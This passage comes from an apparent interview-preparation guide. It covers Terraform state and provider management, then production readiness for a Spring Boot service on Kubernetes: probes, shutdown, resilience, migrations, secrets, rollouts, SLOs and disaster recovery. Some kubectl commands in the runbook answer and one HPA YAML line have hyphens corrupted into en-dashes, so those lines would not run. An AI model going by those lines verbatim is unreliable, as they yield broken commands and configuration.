  config  = { bucket = "acme-tf-state", key = "prod/network/terraform.tfstate", region = "eu-
west-1" }
}
```

- `terraform_remote_state` requires read access to the whole state, including its secrets.
- Alternatively publish IDs to SSM Parameter Store as an explicit interface.

FOLLOW-UP TRAPS

- **Does remote state fetch only the outputs?** It reads the full state file, so access is broad.
- **Can a consumer apply before the producer?** Plan fails; order your pipelines.

#remote-state #data-sources

Q18 A teammate upgrades the AWS provider and plan now wants to change dozens of resources. How do you manage provider upgrades? INTERMEDIATE

Pin versions and upgrade deliberately: commit `.terraform.lock.hcl`, bump the constraint in a dedicated PR, read the provider upgrade guide for breaking changes, and review the plan in a non-prod environment first.

```
required_providers {
  aws = { source = "hashicorp/aws", version = "~> 5.60" }
}
```

```
terraform init -upgrade       # re-resolves within constraints and updates the lock file
```

- The lock file records hashes so every machine uses identical providers.
- Generate hashes for all CI platforms: `terraform providers lock -platform=linux_amd64 -platform=darwin_arm64`.

FOLLOW-UP TRAPS

- **Should `.terraform.lock.hcl` be committed?** Yes.
- **What does `init` do if the lock file exists?** Uses the locked versions without upgrading.

#providers #upgrades #lockfile

Q19 How would you structure a Terraform repo for dev, stage and prod with shared modules? INTERMEDIATE

Separate root modules per environment (own backend key, own credentials) calling shared versioned modules.

```
infra/
  modules/
    service/        # reusable ECS/EKS service module
    database/
  envs/
    dev/   main.tf backend.tf dev.tfvars
    stage/ main.tf backend.tf stage.tfvars
    prod/  main.tf backend.tf prod.tfvars
```

- Promote changes dev -> stage -> prod through the same PR flow; prod applies need approval.
- Separate AWS accounts per environment is the strongest isolation.
- Keep env differences in tfvars (sizes, counts), not forked code.

FOLLOW-UP TRAPS

- **Why not just workspaces?** Same code and credentials make accidental prod changes easy.
- **Does DRY justify one giant module?** No, over-abstraction makes diffs hard to read.

#repo-structure #environments

Q20 `terraform apply` failed halfway. What state are you in and how do you recover? INTERMEDIATE

Terraform records each resource in state as it succeeds, so state reflects completed work and the rest remains pending. Fix the cause (quota, permission, name collision) and re-run `plan` and `apply`; it continues.

- Resources that were created but errored during creation may be marked tainted (`terraform untaint` or let it replace).
- If a resource exists in the cloud but not in state (crash before write), `import` it.
- If the run was killed, check for a stuck lock and a `errored.tfstate` file locally, which can be pushed with `terraform state push` after review.

FOLLOW-UP TRAPS

- **Is apply atomic?** No, partial application is normal.
- **What does tainted mean?** Marked for replacement on next apply.

#failure-recovery #partial-apply

Q21 How do you test and validate Terraform changes before production? INTERMEDIATE

Layer checks from cheap to expensive.

```
terraform fmt -check -recursive
terraform validate
tflint
checkov -d .           # or trivy config / tfsec for policy and security
terraform plan -out=tfplan
```

- Native `terraform test` (1.6+) runs `.tftest.hcl` with `command = plan` or real `apply` in a sandbox.
- Terratest for integration tests, with ephemeral accounts.
- Policy as code (OPA/Conftest, Sentinel) on the JSON plan: `terraform show -json tfplan`.
- Post a plan comment to the PR; require approval before apply on main.

FOLLOW-UP TRAPS

- **Does `validate` check the cloud?** No, only syntax and internal consistency.
- **Is a plan a full guarantee?** No, some errors (quota, API validation) appear only during apply.

#testing #validation #ci

Q22 A resource must be deleted from Terraform management but kept in the cloud. How? BASIC

Forget it in state without destroying it. Modern way is a `removed` block; legacy way is `terraform state rm`.

```
removed {
  from = aws_s3_bucket.legacy
  lifecycle { destroy = false }
}
```

```
terraform state rm aws_s3_bucket.legacy
```

- Remove the resource block from config as well, otherwise the next plan wants to create it again.
- Document and hand ownership to another tool/state if it will continue to be managed.

FOLLOW-UP TRAPS

- **What happens if you just delete the block?** The next apply destroys the real resource.
- **Is `state rm` reviewable in a PR?** No; `removed` blocks are.

#state-rm #removed

Q23 Secrets such as the DB master password are in the state file in S3. How would you harden this setup? ADVANCED

Combine access control, encryption and avoiding secret creation inside Terraform.

```
resource "aws_db_instance" "main" {
  identifier                  = "orders-${var.env}"
  manage_master_user_password = true   # RDS stores it in Secrets Manager
  # ...
}
```

- Bucket: SSE-KMS with a dedicated key, versioning, block public access, deny non-TLS, MFA delete optionally.
- IAM: only the CI role and a small break-glass group can read state; developers use plan-only roles where possible.
- Applications fetch secrets at runtime from Secrets Manager, never via Terraform outputs.
- Audit with CloudTrail data events on the state bucket.

FOLLOW-UP TRAPS

- **Does `random_password` avoid state exposure?** No, the generated value is stored in state.
- **Is KMS encryption enough?** It protects at rest; anyone permitted to decrypt still reads everything.

#secrets #hardening

Q24 How do you do a zero-downtime replacement of a resource, e.g. a launch template or target group? ADVANCED

Use `create_before_destroy` and avoid fixed names that collide; use `name_prefix` so old and new coexist during the swap.

```
resource "aws_lb_target_group" "app" {
  name_prefix = "orders-"
  port        = 8080
  protocol    = "HTTP"
  vpc_id      = var.vpc_id

  lifecycle { create_before_destroy = true }
}
```

- Dependent resources (listeners) get updated to the new one before the old is destroyed because of the dependency graph.
- The attribute must be propagated: `create_before_destroy` applies transitively to dependencies of that resource.

FOLLOW-UP TRAPS

- **Why does it fail with a fixed `name`?** AWS rejects two groups with the same name.
- **Does it help stateful data?** No, data is not copied.

#create-before-destroy #zero-downtime

DOCKER, CLOUD & DEVOPS · CHAPTER 7

Mini-guide: Shipping a Spring Boot Microservice to Production

Scenario-driven production readiness for a Spring Boot service covering config, health probes, graceful shutdown, resilience, database migrations, security, rollout, runbooks, capacity planning and post-mortems.

23 questions **4** basic **12** intermediate **7** advanced

Scenarios

Q1 You are asked "is this service production-ready?" What checklist do you walk through? BASIC

Production-ready means it can be deployed safely, observed, operated by someone else at 3am and fails gracefully. Walk these areas:

- Build and deploy: reproducible image, CI gates, rollback tested.
- Config and secrets externalized; no secrets in the image or Git.
- Health probes, graceful shutdown, resource requests/limits, at least 2 replicas with a PodDisruptionBudget.
- Resilience: timeouts, retries with backoff, circuit breakers, idempotency.
- Data: backward-compatible migrations, backups, connection pool sizing.
- Observability: metrics, structured logs, traces, SLO alerts with runbooks.
- Security: authn/authz, TLS, dependency/image scanning, least-privilege.
- Ownership: on-call, dashboards, capacity estimate, load test.

FOLLOW-UP TRAPS

- **Is passing unit tests production-ready?** No, nothing there covers failure modes, operations or load.
- **Who signs off?** Ideally an automated readiness review plus a human review for new services.

#checklist #readiness

Q2 How should configuration be managed across dev, stage and prod for a Spring Boot service? BASIC

Build one image and inject environment-specific config at runtime (env vars, ConfigMaps, profile files), following twelve-factor. Secrets come from a secret manager, never from the image.

```
# Kubernetes
env:
  - name: SPRING_PROFILES_ACTIVE
    value: prod
  - name: SPRING_DATASOURCE_URL
    valueFrom: { configMapKeyRef: { name: orders-config, key: db-url } }
  - name: SPRING_DATASOURCE_PASSWORD
    valueFrom: { secretKeyRef: { name: orders-db, key: password } }
```

- Relaxed binding maps `SPRING_DATASOURCE_URL` to `spring.datasource.url`.
- Use `@ConfigurationProperties` with `@Validated` so bad config fails fast at startup.
- Spring Cloud Config/Vault are options; ConfigMap changes need a restart unless you wire refresh.

FOLLOW-UP TRAPS

- **Should profile control behaviour (e.g. `if prod`)?** Avoid; use explicit properties so behaviour is configurable and testable.
- **Do ConfigMap env vars update live?** No, only mounted files update, and the app must reload them.

#configuration #twelve-factor

Q3 Configure liveness, readiness and startup probes for a Spring Boot service. What goes wrong with a bad setup? INTERMEDIATE

Readiness decides whether to route traffic; liveness decides whether to restart; startup protects slow starts from liveness. Spring Boot provides `/actuator/health/liveness` and `/readiness` when probes are enabled.

```
readinessProbe:
  httpGet: { path: /actuator/health/readiness, port: 8081 }
  periodSeconds: 5
  failureThreshold: 3
livenessProbe:
  httpGet: { path: /actuator/health/liveness, port: 8081 }
  periodSeconds: 10
  failureThreshold: 3
startupProbe:
  httpGet: { path: /actuator/health/liveness, port: 8081 }
  periodSeconds: 5
  failureThreshold: 30
```

- Do not include external dependencies (DB) in liveness: a DB outage would restart every pod, making things worse. Dependencies belong in readiness, and even there cautiously.
- Too aggressive liveness causes restart loops under load or GC pauses.

FOLLOW-UP TRAPS

- **Should readiness include the DB?** Debatable; including it removes all pods on DB blips. Many teams keep it out and rely on circuit breakers.
- **What does the startup probe replace?** A large `initialDelaySeconds` on liveness.

#health #probes #kubernetes

Q4 During deploys clients see a burst of 502/connection reset. How do you implement graceful shutdown? INTERMEDIATE

On SIGTERM, Kubernetes removes the pod from endpoints concurrently with sending the signal, so some traffic still arrives. Delay shutdown briefly, then let Spring finish in-flight requests.

```
server:
  shutdown: graceful
spring:
  lifecycle:
    timeout-per-shutdown-phase: 30s
```

```
# pod spec
terminationGracePeriodSeconds: 60
containers:
  - name: app
    lifecycle:
      preStop:
        exec: { command: ["sleep", "10"] }
```

- Order: preStop sleep (endpoint propagation) then SIGTERM, graceful phase drains requests, then exit.
- `terminationGracePeriodSeconds` must exceed preStop + shutdown timeout.
- Stop consuming messages (Kafka listeners) cleanly and finish current batch.

FOLLOW-UP TRAPS

- **Does `server.shutdown=graceful` alone fix it?** No, the endpoint-removal race remains without preStop delay.
- **What happens if the grace period is shorter?** SIGKILL cuts in-flight requests.

#graceful-shutdown #rollout

Q5 Make an outbound call to the payment provider resilient. What do you configure? INTERMEDIATE

Always set timeouts first; then retry only idempotent calls with backoff and jitter, add a circuit breaker and bulkhead, and provide a fallback or fail fast.

```
resilience4j:
  circuitbreaker:
    instances:
      payments:
        slidingWindowSize: 20
        failureRateThreshold: 50
        waitDurationInOpenState: 30s
  retry:
    instances:
      payments:
        maxAttempts: 3
        waitDuration: 200ms
        enableExponentialBackoff: true
```

```
@CircuitBreaker(name = "payments", fallbackMethod = "pending")
@Retry(name = "payments")
public PaymentResult charge(ChargeRequest r) { return client.charge(r); }
```

- HTTP client: connect timeout 1-2s, read timeout from the provider's p99 plus margin.
- Retries multiply load during outages (retry storms); cap attempts and budget them.
- Send an `Idempotency-Key` so retried charges cannot double-charge.

FOLLOW-UP TRAPS

- **Which annotation runs first, Retry or CircuitBreaker?** By default Retry wraps CircuitBreaker (aspect order); check and set explicitly.
- **Is retrying a POST safe?** Only with idempotency keys.

#resilience #resilience4j #timeouts

Q6 How do you roll out database schema changes without downtime for a service with 6 replicas? ADVANCED

Use Flyway/Liquibase migrations that are backward compatible with the currently running version (expand/contract), applied before or at the start of the new rollout.

```
-- V12__add_customer_email_verified.sql  (expand)
ALTER TABLE customer ADD COLUMN email_verified BOOLEAN NOT NULL DEFAULT FALSE;
```

```
spring:
  flyway:
    locations: classpath:db/migration
    validate-on-migrate: true
```

- Run migrations as a pre-deploy Kubernetes Job or Helm hook to avoid replica startup contention and long probes failing.
- Large tables: avoid locking DDL (`CREATE INDEX CONCURRENTLY`, batch backfills, adding a NOT NULL column with default is cheap in PostgreSQL 11+ but not everywhere).
- Never edit an applied migration; Flyway checksum validation will fail.
- Drop/rename in a later release.

FOLLOW-UP TRAPS

- **What if the migration succeeds but the deploy fails?** The old version must still work with the new schema.
- **Is `ddl-auto=update` acceptable?** No, never in production.

#migrations #flyway #expand-contract

Q7 Size the Hikari pool and thread pools for a service handling 500 req/s with 40ms average DB time.

ADVANCED

Use Little's Law: concurrent DB connections = throughput x time in DB = 500 x 0.04 = 20 across all replicas. Add headroom (about 1.5-2x) but stay below the database connection limit.

- With 5 replicas, 20 x 2 / 5 = about 8 connections per pod; set `maximum-pool-size: 8-10`.
- Total across pods must stay under DB `max_connections` minus admin/other clients (consider PgBouncer).

```
spring:
  datasource:
    hikari:
      maximum-pool-size: 10
      connection-timeout: 2000
      max-lifetime: 1500000   # below DB/proxy idle timeout
```

- Bigger pools do not help when the DB is the bottleneck; they increase contention.
- Tomcat threads default 200 per pod; if each holds a connection for the request, pool becomes the throttle, which is fine with a short `connection-timeout`.
- Verify with load test and `hikaricp_connections_pending`.

FOLLOW-UP TRAPS

- **Why is `connection-timeout` small?** Fail fast under saturation instead of queuing for 30s default.
- **Should pool size equal Tomcat threads?** No, usually far smaller.

#capacity #hikari #little-law

Q8 How do you secure a Spring Boot REST service as a resource server?

INTERMEDIATE

Validate JWTs issued by an identity provider with Spring Security's resource server support, enforce authorization on endpoints and methods, and use TLS everywhere.

```
@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
  return http
    .csrf(c -> c.disable())   // stateless token API, no browser session cookies
    .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
    .authorizeHttpRequests(a -> a
      .requestMatchers("/actuator/health/**").permitAll()
      .requestMatchers(HttpMethod.GET, "/orders/**").hasAuthority("SCOPE_orders.read")
      .anyRequest().authenticated())
    .oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults()))
    .build();
}
```

```
spring.security.oauth2.resourceserver.jwt.issuer-uri: https://idp.acme.io/realms/main
```

- Validate `iss`, `aud`, expiry; check object-level authorization (users access only their orders) in the service.
- Keep Actuator on a management port, secured or network-restricted.
- Scan dependencies and images; run as non-root with read-only root filesystem.

FOLLOW-UP TRAPS

- **Is disabling CSRF safe?** For stateless bearer-token APIs without cookie auth, yes.
- **Does a valid JWT mean authorized?** No, authentication is not authorization.

#security #oauth2 #jwt

Q9 How would you manage secrets for the service in Kubernetes? INTERMEDIATE

Kubernetes Secrets are base64, not encrypted by default, so source them from a secret manager and sync them in: External Secrets Operator, Secrets Store CSI driver or Vault agent. Enable etcd encryption at rest and restrict RBAC.

```
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata: { name: orders-db }
spec:
  refreshInterval: 1h
  secretStoreRef: { name: aws-secrets, kind: ClusterSecretStore }
  target: { name: orders-db }
  data:
    - secretKey: password
      remoteRef: { key: prod/orders/db, property: password }
```

- Use workload identity (IRSA) so pods have no static cloud keys.
- Rotation: dynamic DB credentials or a restart/reload procedure; test it.
- Never log config properties; mask in `/actuator/env`.

FOLLOW-UP TRAPS

- **Are Secrets stored encrypted by default?** No, only base64 encoded unless encryption at rest is configured.
- **Mount as file or env var?** Files can be rotated live and do not leak via process env dumps.

#secrets #kubernetes #vault

Q10 Define the rollout strategy and automatic rollback for production. INTERMEDIATE

For a stateless service, a rolling update with surge capacity, readiness gating and a PodDisruptionBudget is the baseline; add canary for risky changes.

```
spec:
  replicas: 6
  strategy:
    type: RollingUpdate
    rollingUpdate: { maxSurge: 2, maxUnavailable: 0 }
  minReadySeconds: 20
  progressDeadlineSeconds: 300
```

```
apiVersion: policy/v1
kind: PodDisruptionBudget
spec:
  minAvailable: 4
  selector: { matchLabels: { app: orders } }
```

- `maxUnavailable: 0` keeps capacity; readiness must be accurate.
- `progressDeadlineSeconds` marks a stuck rollout failed; CD runs `rollout status` and undoes.
- Pair with feature flags for decoupling deploy from release.

FOLLOW-UP TRAPS

- **Does a PDB protect against rolling updates?** No, it governs voluntary evictions (drains), not Deployment rollouts.
- **What if the new pods never become ready?** The rollout stalls while old pods keep serving.

#rollout #rolling-update

Q11 Write the runbook for "orders-service high 5xx". What goes in it?

INTERMEDIATE

A runbook gives a tired on-call engineer ordered, concrete steps: impact, quick checks, mitigations, escalation. Link it from the alert.

1. Impact: which endpoints and customers (dashboard link).
2. Recent changes: deploy, config, flag changes in the last hour (annotations); if yes, roll back first.
3. Dependencies: DB, payments, Kafka health panels; circuit breaker state.
4. Saturation: Hikari pending, CPU throttling, memory, pod restarts.
5. Commands:

```
kubectl –n prod rollout history deploy/orders
kubectl –n prod rollout undo deploy/orders
kubectl –n prod logs deploy/orders ––since=15m | grep –i error
```

6. Mitigations: scale out, disable flag, shed load, fail over.
7. Escalation: owner team, dependency owners, incident commander criteria.

- Review and test runbooks in game days; stale runbooks are worse than none.

FOLLOW-UP TRAPS

- **Should root cause be found before mitigation?** No, restore service first, investigate after.
- **Who owns the runbook?** The team that owns the alert.

#runbook #on-call

Q12 Estimate capacity for a launch expecting 5x traffic. What is your process?

ADVANCED

Measure, model, test, then add headroom.

1. Baseline: peak RPS, per-pod throughput at target latency and CPU (say 150 RPS/pod at 60% CPU).
2. Forecast: 5x peak of 400 RPS = 2000 RPS; pods = 2000 / 150 = 14, plus N+1/zone-loss headroom, so about 20.
3. Check downstream limits: DB connections and CPU, cache, third-party rate limits, Kafka partitions.
4. Load test in a production-like environment with realistic data (k6/Gatling), ramp to 1.5x forecast, soak for hours to find leaks.
5. Autoscale with HPA on CPU or custom metric (RPS/pod), with a floor set to expected launch minimum since scale-up lags.

```
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
spec:
  minReplicas: 20
  maxReplicas: 40
  metrics:
    – type: Resource
      resource: { name: cpu, target: { type: Utilization, averageUtilization: 60 } }
```

FOLLOW-UP TRAPS

- **Does scaling pods scale the database?** No; the DB is usually the real ceiling.
- **Why a high minReplicas?** Autoscaling reacts in minutes; spikes arrive in seconds.

#capacity-planning #load-testing

Q13 Write a blameless post-mortem outline for a 40-minute outage caused by a bad config push.

INTERMEDIATE

A post-mortem explains the system conditions that allowed the failure and produces owned, dated actions; it does not assign personal blame.

- Summary and impact: duration, error rate, customers affected, SLO budget consumed.
- Timeline with timestamps: detection, escalation, mitigation, resolution.
- Root cause and contributing factors: config had no validation, no canary, alert took 12 minutes.
- What went well and what was lucky.
- Detection and response analysis: time to detect, time to mitigate.
- Action items: type (prevent, detect, mitigate), owner, due date, tracked in the backlog, e.g. schema-validate config in CI, staged config rollout, tighten alert latency.

> **FOLLOW-UP TRAPS**
> - **Is "human error" a root cause?** No, ask why the system allowed the error to cause an outage.
> - **Do action items without owners work?** They rarely get done.

#post-mortem #incident-management

Q14 **A new instance takes 90 seconds to start and rollouts are slow and risky. How do you improve startup?** INTERMEDIATE

Measure first (`--debug` condition report, Actuator `startup` endpoint with `BufferingApplicationStartup`), then remove the dominant cost.

- Trim classpath scanning and unused auto-configuration; lazy initialization (`spring.main.lazy-initialization=true`) trades startup time for first-request latency and hides wiring errors.
- Avoid heavy work in `@PostConstruct`; warm caches asynchronously.
- Class Data Sharing / AppCDS (Boot 3.3+ supports CDS), or Spring AOT/GraalVM native for sub-second starts at build-time cost.
- Give CPU: JVM startup is CPU-bound; a 250m CPU limit makes startup very slow. Allow burst or set higher requests.
- Use a startup probe so liveness doesn't kill a slow-starting pod.

> **FOLLOW-UP TRAPS**
> - **Does lazy init improve production?** It shifts failures and latency to runtime; many teams keep it off in prod.
> - **Why slow only in Kubernetes?** CPU limit throttling during startup.

#startup #performance #docker

Q15 **A downstream service is slow and your service falls over too (cascading failure). How do you prevent it?** ADVANCED

Slow dependencies are worse than down ones: threads and connections pile up waiting. Bound every call and isolate resources.

- Timeouts on all clients (connect and read); total request deadline smaller than the caller's timeout (timeout budget).
- Circuit breaker to stop calling a failing dependency; bulkhead to cap concurrent calls per dependency so one cannot eat all threads.
- Load shedding: reject early with 429/503 when saturated.
- Retries with backoff plus a retry budget; no retry at every layer (3x3x3 amplification).

```
resilience4j.bulkhead:
  instances:
    inventory: { maxConcurrentCalls: 20, maxWaitDuration: 0 }
```

- Test with fault injection (Toxiproxy, chaos tools) to prove behavior.

FOLLOW-UP TRAPS

- **Why is slow worse than down?** A down service fails fast; a slow one holds resources.
- **Do circuit breakers replace timeouts?** No, breakers rely on timeouts to detect failures.

#bulkhead #timeouts #cascading-failure

Q16 Define SLOs and alerts for the service before launch.

INTERMEDIATE

Choose a few user-centric SLIs, set targets from business need and measured baseline, and alert on burn rate.

- Availability SLI: non-5xx / total on user-facing endpoints. Target 99.9% (43 min budget per 30 days).
- Latency SLI: share of requests faster than 300ms. Target 95%.
- Freshness/correctness SLIs for async pipelines (consumer lag, age of oldest message).

```
1 - (
  sum(rate(http_server_requests_seconds_bucket{le="0.3",uri!~"/actuator.*"}[30m]))
  / sum(rate(http_server_requests_seconds_count{uri!~"/actuator.*"}[30m]))
)
```

- Exclude health checks and known-client-error 4xx from availability.
- Burn-rate alerts (fast and slow) plus a policy: when budget is exhausted, freeze features and fix reliability.

FOLLOW-UP TRAPS

- **Should the SLO be 100%?** No, it is unachievable and blocks all change.
- **Are 4xx errors failures?** Usually not, unless the service caused them (e.g. validation bug).

#slo #alerting

Q17 Your service reads from Kafka and processes events. What readiness items are specific to consumers?

ADVANCED

Consumers must be idempotent, handle poison messages, shut down cleanly and expose lag.

```
spring:
  kafka:
    consumer:
      enable-auto-commit: false
      auto-offset-reset: earliest
      properties:
        max.poll.interval.ms: 300000
    listener:
      ack-mode: record
```

- At-least-once delivery means duplicates: dedupe by event ID (unique key) or make updates idempotent.
- Poison messages: `DefaultErrorHandler` with backoff and a dead-letter topic (`DeadLetterPublishingRecoverer`).
- Alert on consumer-group lag and age, not just rate; scale consumers up to the partition count.
- Graceful shutdown: let the listener container stop and commit offsets; long processing beyond `max.poll.interval.ms` triggers rebalances.

FOLLOW-UP TRAPS

- **Can you have more consumers than partitions?** Extra consumers idle.
- **Is Kafka exactly-once?** Only within Kafka transactions; side effects like DB writes still need idempotency.

#kafka #idempotency #consumers

Q18 How do you build a small, secure container image for the service?

BASIC

Use a multi-stage build (or Spring Boot buildpacks / Jib), a slim JRE base, non-root user, and layered jars for cache efficiency.

```
FROM eclipse-temurin:21-jdk AS build
WORKDIR /src
COPY . .
RUN ./mvnw -B -DskipTests package && \
    java -Djarmode=tools -jar target/app.jar extract --layers --destination /layers

FROM eclipse-temurin:21-jre
RUN useradd -r -u 10001 app
WORKDIR /app
COPY --from=build /layers/dependencies/ ./
COPY --from=build /layers/application/ ./
USER 10001
ENTRYPOINT ["java", "-XX:MaxRAMPercentage=70", "-jar", "app.jar"]
```

- Pin base image digests; rebuild regularly for patches; scan with Trivy.
- Set `readOnlyRootFilesystem`, drop capabilities, `runAsNonRoot` in the pod security context.
- `./mvnw spring-boot:build-image` produces a buildpack image without a Dockerfile.

FOLLOW-UP TRAPS

- **Why layered jars?** Dependencies rarely change, so rebuilds only push the small application layer.
- **Why not `latest` tag?** It is mutable and breaks reproducibility.

#docker #security #buildpacks

Q19 A retry bug caused a customer to be charged twice. How do you design idempotent APIs? ADVANCED

Require clients to send an `Idempotency-Key` header; store the key with the request fingerprint and result under a unique constraint, and return the stored result on repeats.

```
@Transactional
public PaymentResult charge(String key, ChargeRequest req) {
  return repo.findByKey(key)
      .map(IdempotencyRecord::result)
      .orElseGet(() -> {
        PaymentResult r = provider.charge(req, key);   // pass key downstream too
        repo.save(new IdempotencyRecord(key, hash(req), r));
        return r;
      });
}
```

```
CREATE UNIQUE INDEX uq_idem_key ON idempotency_record(key);
```

- Concurrent duplicates: the unique constraint makes the second insert fail; handle by returning the first result or 409.
- Reject the same key with a different payload (fingerprint mismatch).
- Expire keys after a retention window (24-72h).

FOLLOW-UP TRAPS

- **Is a DB check-then-insert safe alone?** No, race conditions; rely on the unique constraint.
- **Is GET idempotent?** By definition yes; PUT and DELETE also are, POST is not.

#idempotency #api-design

Q20 Pods are being evicted or throttled in production. How do you set resource requests and limits? INTERMEDIATE

Requests drive scheduling and QoS; limits cap usage. Memory: request = limit, sized from observed working set plus headroom. CPU: set a request near typical usage; consider no CPU limit, or a generous one, since CFS throttling causes latency spikes.

```
resources:
  requests: { cpu: "500m", memory: "1Gi" }
  limits:   { memory: "1Gi" }       # no CPU limit; avoids throttling
```

- Observe with `container_cpu_cfs_throttled_periods_total` and working-set memory.
- JVM sees the CPU limit to size GC/compiler threads; fractional limits give 1 processor, which affects GC choice (Serial under 2 CPUs/1792MB).
- Spread replicas across nodes and zones with `topologySpreadConstraints`.

FOLLOW-UP TRAPS

- **What happens above the memory limit?** OOMKill; CPU above limit is throttled, not killed.
- **Why can GC change on small containers?** The JVM selects SerialGC if it detects fewer than 2 CPUs or little memory.

#resources #kubernetes #cpu-throttling

Q21 How do you do a safe feature release with a flag and a kill switch? INTERMEDIATE

Ship code dark, enable gradually (internal, 1%, 10%, 100%) per cohort, watch SLO metrics, and keep a one-step off switch that needs no deploy.

```
@GetMapping("/quote")
Quote quote(@RequestParam String sku) {
  return flags.isEnabled("new-pricing", currentUser())
      ? newPricing.quote(sku)
      : legacyPricing.quote(sku);
}
```

- Use a flag service (Unleash, LaunchDarkly, OpenFeature) or a refreshable config; default to the safe path if the flag service is unreachable.
- Tag metrics with the flag variant to compare outcomes.
- Remove flags after rollout; stale flags are technical debt and risk.

FOLLOW-UP TRAPS

- **Does a flag remove the need for backward-compatible migrations?** No, both code paths hit the same DB.
- **What should the default be when the flag backend is down?** The last known or the safe/legacy value.

#feature-flags #release

Q22 Design a disaster-recovery and backup plan for the service's PostgreSQL database. ADVANCED

Define RPO (acceptable data loss) and RTO (acceptable downtime) with the business, then pick mechanisms to meet them and rehearse restoring.

- Backups: automated daily snapshots plus WAL archiving for point-in-time recovery (PITR); RPO of minutes.
- HA: a synchronous or async replica in another AZ with automated failover (RDS Multi-AZ, Patroni); cross-region replica for regional DR.
- Restore drills: restore into a scratch instance regularly and verify with checksums/queries; an untested backup is not a backup.
- App behavior on failover: connection pool re-resolves DNS, `max-lifetime` short enough, retry transient errors, idempotent writes.
- Protect against logical errors (bad delete) with PITR, not just replication, which copies mistakes.

FOLLOW-UP TRAPS

- **Does a replica replace backups?** No, replicas replicate accidental deletes immediately.
- **What is the difference between RPO and RTO?** RPO is data-loss window; RTO is time to restore service.

#dr #backups #rpo-rto

Q23 After go-live, what should the first-week operations routine look like?

BASIC

Treat the first weeks as hyper-care: higher observation, quick iteration on alerts, and learning from real traffic.

- Daily review of dashboards, error budgets, top slow endpoints, log error clusters, and pod restarts.
- Tune alerts: remove noisy ones, add missing ones found by incidents or near misses.
- Compare real traffic and resource usage with the capacity model; adjust requests, HPA, pool sizes.
- Confirm backups ran and a restore was tested; confirm certificates and secrets rotation dates are tracked.
- Hold a short retrospective: what surprised us, what needs automation.
- Define on-call rotation, escalation paths, and handover notes.

FOLLOW-UP TRAPS

- **Should the developers who built it be on call?** Yes, "you build it, you run it" drives operable designs.
- **When is hyper-care over?** When the SLO is met steadily and no new alert types appear.

#operations #on-call